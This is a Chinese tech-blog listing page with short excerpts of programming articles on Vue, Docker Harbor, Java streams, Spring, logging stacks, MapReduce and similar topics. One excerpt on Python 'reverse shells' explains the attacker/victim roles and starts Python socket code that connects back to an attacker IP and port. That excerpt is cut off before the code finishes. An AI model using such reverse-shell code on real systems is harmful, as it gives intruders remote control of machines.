为了账号安全,请及时绑定邮箱和手机立即绑定

Vue.js-09:第九章 - 组件基础再探(data、props)

 一、前言#  在上一章的学习中,我们学习了 Vue 中组件的基础知识,知道了什么是组件,以及如何创建一个全局/局部组件。不知道你是否记得,在上一章中,我们提到组件是一个可以复用的 Vue 实例,它与 Vue 实例也只是拥有些许的差异。本章,我们将继续学习组件的相关基础知识,了解 Vue 的组件中的 data、prop 选项的使用。   学习系列目录地址:https://www.cnblogs.com/danvic712/p/9549100.html...

1062浏览
0推荐
0评论

Kubernetes集群搭建之企业级环境中基于Harbor搭建自己的私有仓库

搭建背景企业环境中使用Docker环境,一般出于安全考虑,业务使用的镜像一般不会从第三方公共仓库下载。那么就要引出今天的主题企业级环境中基于Harbor搭建自己的安全认证仓库介绍名称:Harbor官网:https://github.com/vmware/harbor简介:Harbor是一个用于存储和分发Docker镜像的企业级Registry服务器,通过添加一些企业必需的功能特性,例如安全、标识和管理等,扩展了开源Docker...

1093浏览
0推荐
0评论

9102年了,你还在用for循环操作集合?

前段时间公司书架多了一本《Java8 实战》,毕竟久闻lambda的大名,于是借来一阅。这一看,简直是惊为天人啊,lambda,stream,java8里简直是满脑子骚操作,看我的一愣一愣的。我甚至是第一次感觉到了什么叫优雅。本文主要介绍java8中的流处理,看看java8是怎么愉快的玩耍集合的,让我们来一起感受java8的魅力吧!我就随便举个例子,看看Stream有多优雅。// 对苹果按颜色汇总并绩数量Map<String, Long> appleCount = apples.stream()...

1268浏览
0推荐
0评论

分布式系统「伸缩性」大招之——「水平&amp;垂直切分」详解

没想到这篇文章写了这么长,一时半会没消化完的话,可以收藏一下先。  这是「伸缩性」章节的第四篇,先给新来的小伙伴们简单回顾下前三篇的内容。 做「伸缩性」最重要的就是先做好「无状态」,如此才可以随心所欲的进行横向“扩展”,而不用担心在多个副本之间切换会产生错乱。《分布式系统关注点——「无状态」详解》聊的就是这个。 不过,就算做好了横向扩展,本质上还是一个“大程序”,只是变得「可复制」了而已。 如果要消灭“大程序”,那就得“切分”,做好切分必然离不开「高内聚低耦合」的核心思想。《分布式系统关注点——「高内聚低耦合」详解》这篇聊的就是这个。 题外话:当你遇到单点单应用支撑不...

1034浏览
0推荐
0评论

使用 .NET Core 开发 BT Tracker 服务器

一、什么是 BT Tracker ?在 BT 下载过程当中,我们如果拿到一个种子文件,在其内部会包含一组 BT Tracker 服务器信息。在开始进行下载的时候,BT 下载工具会根据种子内的唯一 HASH 码请求 Tracker 服务器,之后 Tracker 服务器会返回给正在 下载/做种 的 Peer 信息,下载工具获得了其他的 Peer 信息之后就会与其他的 Peer 建立通讯下载数据。整个过程的时序图如下:在这里 BT Tracker 充当的角色就是一个通讯员的角色,它的构造很简单,最简构造的情况下只需要一个 HTTP API 接口即可。其作用就是在 BT 下载工具请求 Peer 信息的时候,返回相应的信息即可。二、BT...

1414浏览
0推荐
0评论

Spring Boot 2.x (十二):Swagger2的正确玩儿法

Swagger2简介简单的来说,Swagger2的诞生就是为了解决前后端开发人员进行交流的时候API文档难以维护的痛点,它可以和我们的Java程序完美的结合在一起,并且可以与我们的另一开发利器Spring Boot来配合使用。开始使用第一步:导入POM文件        <dependency>             <groupId>io.springfox</groupId>...

2199浏览
1推荐
0评论

captcha.js一个生成验证码的插件,使用js和canvas生成

`captcha.js`是一个生成验证码的插件,使用js和canvas生成的,确保后端服务被暴力攻击,简单判断人机以及系统的安全性,体积小,功能多,支持配置。 验证码插件内容,包含1、验证码插件-使用,2、验证码插件栗子,3、API介绍,4、支持浏览器 注意:基于本项目源码从事科研、论文、系统开发,"最好"在文中或系统中表明来自于本项目的内容和创意,否则所有贡献者可能会鄙视你和你的项目。 使用本项目源码请尊重程序员职业和劳动 + 版本v 1.0.0...

2245浏览
0推荐
0评论

vue---由nextTick原理引出的js执行机制

最开始查看nextTick这个方法的时候,眼瞎看成了nextClick。。。我还在疑问难道是下一次click之后处理事件。。。然后用这个方法的时候,就只知道是用在DOM更新之后调用回调方法。这时就产生了一堆疑问:1)DOM更新后?难道修改数据之后,DOM没有及时更新,还有延迟?但是页面上看到的就是实时更新呀,难道还有什么猫腻?2)它是怎么监听到DOM被更新了3)它和异步的setTimeout、setInterval有没有关系?深入了解后才发现里面有大学问。。。在理解nextTick之前,先来一段代码setTimeout(function(){     console.log(11)...

2174浏览
1推荐
0评论

NET Core微服务之路:简单谈谈对ELK,Splunk,Exceptionless统一日志收集中心的心得体会

前言日志,一直以来都是开发人员和运维人员最关心的问题。开发人员可通过日志记录来协助问题定位,运维人员可通过日志发现系统隐患,故障等定位问题。如果你的系统中没有日志,就像一个断了线的风筝,你永远不知道它会的落脚点(故障点)在什么地方。当然,你说你不用日志,非要用调试模式来一个一个的排查和验证问题,那这将是非常疯狂的。微服务架构日渐火热,在享受微服务带来的种种好处的同事,也要承担她所带来的各种困扰。因为系统不再是一个独立的个体,而是分部到不同地方、不同宿主、不同区段单独的服务个体(节点),他散落,不统一,那么,当某个节点出现问题,如何快速定位,将是一个挑战。你总不可能说我把每个节点的日志都查一遍吧。那么,这个问题可以这样描述:如何...

1217浏览
0推荐
0评论

&lt;工厂方法模式&gt;比&lt;简单工厂模式&gt;多了啥

前言:多注重设计,总是没错。仅当复习!简单工厂模式#UML图#  假如有一位爱心人士,想给饥饿的流浪动物喂食。此时爱心人士身带了狗粮,但是他到处找啊找,最终只找到了猫大人,是不是有点惨兮兮。但是如果有简单工厂模式,如下图所示,这位爱心人士找到一家刚刚成立的流浪动物收容所,进去之后只要询问管理员,狗大人在哪里,我要去给它献贡。管理员根据你提出的条件,立马带你去参拜。概念#  简单工厂模式是属于创建型模式,又叫做静态工厂方法(Static Factory...

1460浏览
0推荐
0评论

ES6躬行记(13)——类型化数组

类型化数组(Typed Array)是一种处理二进制数据的特殊数组,它可像C语言那样直接操纵字节,不过得先用ArrayBuffer对象创建数组缓冲区(Array Buffer),再映射到指定格式的视图(view)之后,才能读写其中的数据。总共有两类视图,分别是特定类型的TypedArray和通用类型的DataView。在ES6引入类型化数组之后,大大提升了JavaScript数学运算的性能。一、ArrayBuffer...

1101浏览
0推荐
0评论

python shell与反弹shell

正常shell需要先在攻击端开机情况下开启程序,然后攻击端运行程序,才能连接反弹shell,攻击端是服务端,被攻击端是客户端正常shell,攻击端是客户端,被攻击端是服务端 反弹shell,先启用服务端,再启用客户端反弹shell的好处就是:一旦被攻击端开机,立即连接上攻击端(需要攻击端一直运行)shell:客户端: import socket s=socket.socket() s.connect(("192.168.0.114",1234))   #连接的服务器的ip地址,端口for i in range(10):...

2159浏览
0推荐
0评论

大数据技术 - 通俗理解MapReduce之WordCount(二)

上一章我们搭建了分布式的 Hadoop 集群。本章我们介绍 Hadoop 框架中的一个核心模块 - MapReduce。MapReduce 是并行计算模块,顾名思义,它包含两个主要的阶段,map 阶段和 reduce 阶段。每个阶段输入和输出都是键值对。map 阶段主要是对输入的原始数据做处理,按照 key-value 形式输出数据,输出的数据按照key是有序的。reduce 阶段的输入是 map 任务的输出,会对输入的数据会按照 key 做归并排序,使得输入 reduce 任务输入的 key 也是有序的,reduce 阶段进行完业务处理之后将把数据输出到HDFS中。下面以具体的例子说明 MapReduce 的机制。本章以...

2310浏览
0推荐
0评论

python协程

作者:@failymao本文为作者原创,转载请注明出处:https://www.cnblogs.com/failymao/p/10466771.htmlpython协程入门函数的执行顺序在了解协程之前, 我们需要再次回想一下python中的多个函数执行的顺序是怎样的?我们看看下面一段代码,在没有在解释器运行之前,你是否知道函数的最后输出的内容呢#!/usr/bin/python#-*-coding:utf-8-*-def A1():...

1028浏览
0推荐
0评论

深度:一种降低焦虑感的生活与学习理念

如今,谁没点焦虑感呢?IT 这个行业里,信息和技术都在快速迭变,会让人感到焦虑;生活,年复一年,似乎总是离自己理想的生活状态还差点,也会让人感到焦虑。从个人的学习成长与生活状态这两方面来看,近来我开始尝试一种大概可以叫作 “深度” 的理念,用于对抗焦虑的感觉还不错。学习IT 行业里,关于学习有一种无奈的说法:学不动了。新思想,新技术和新实践总是在不断涌现,仅仅保持去跟踪了解就已经感觉快跟不上了。要承认人自身的限制,毕竟...

985浏览
0推荐
0评论

补习系列(17)-springboot mongodb 内嵌数据库

简介前面的文章中,我们介绍了如何在SpringBoot 中使用MongoDB的一些常用技巧。那么,与使用其他数据库如 MySQL 一样,我们应该怎么来做MongoDB的单元测试呢?使用内嵌数据库的好处是不需要依赖于一个外部环境,如果每一次跑单元测试都需要依赖一个稳定的外部环境,那么这样的测试是极不稳定的。为了更欢快的使用MongoDB,这里提供两种使用内嵌数据库做单元测试的方式。一、使用 flapdoodle.embed.mongo开源地址该组件的大致原理是,在当前环境中自动下载MongoDB并拉起进程,测试后再做关闭。先演示一遍如何使用:A....

1829浏览
0推荐
0评论

Jenkins环境搭建(2)-搭建jmeter+ant+jenkins自动化测试环境

一直想在持续集成方向学习并研究一番,近期正准备结合jmeter+ant+jenkins做自动化接口测试,在学习的同时,正好实践一番,毕竟实践才是真理。在搭建jmeter+ant+jenkins环境有些前提条件,那就是要先配置好java环境、安装好jenkins以及配置好jmeter,这样才能省去很多的事情,如果在搭建这套环境之前,还没有配置好刚提及的这三套工具环境,那还得先配置一番,具体的配置方法就不细说,可参见以前的博客:1.jmeter安装:https://www.cnblogs.com/hong-fithing/p/7640014.html,该博文中包含java环境的配置方式2.jenkins安装:https://www...

2198浏览
0推荐
0评论

Python学习案例之人脸检测识别

前言随着科技的发展,人脸识别技术在许多领域得到的非常广泛的应用,手机支付、银行身份验证、手机人脸解锁等等。识别废话少说,这里我们使用 opencv 中自带了 haar人脸特征分类器,利用训练好的 haar 特征的 xml...

1344浏览
1推荐
0评论

【Go】string 也是引用类型

原文链接:https://blog.thinkeridea.com/201902/go/string_ye_shi_yin_yong_lei_xing.html初学 Go 语言的朋友总会在传 []byte 和 string 之间有着很多纠结,实际上是没有了解 string 与 slice 的本质,而且读了一些程序源码,也发现很多与之相关的问题,下面类似的代码估计很多初学者都写过,也充分说明了作者当时内心的纠结:package mainimport "bytes"func xx(s []byte) []byte{...

2499浏览
0推荐
0评论

Spring事务的传播行为

 本文主要介绍下Spring事务中的传播行为。事务传播行为介绍Spring中的7个事务传播行为:|事务行为|说明 ||:--|:--||PROPAGATION_REQUIRED | 支持当前事务,假设当前没有事务。就新建一个事务 || PROPAGATION_SUPPORTS |支持当前事务,假设当前没有事务,就以非事务方式运行 || PROPAGATION_MANDATORY| 支持当前事务,假设当前没有事务,就抛出异常|| PROPAGATION_REQUIRES_NEW | 新建事务,假设当前存在事务。把当前事务挂起||PROPAGATION_NOT_SUPPORTED |...

1190浏览
0推荐
0评论
首页上一页1234567下一页尾页
意见反馈 帮助中心 APP下载
官方微信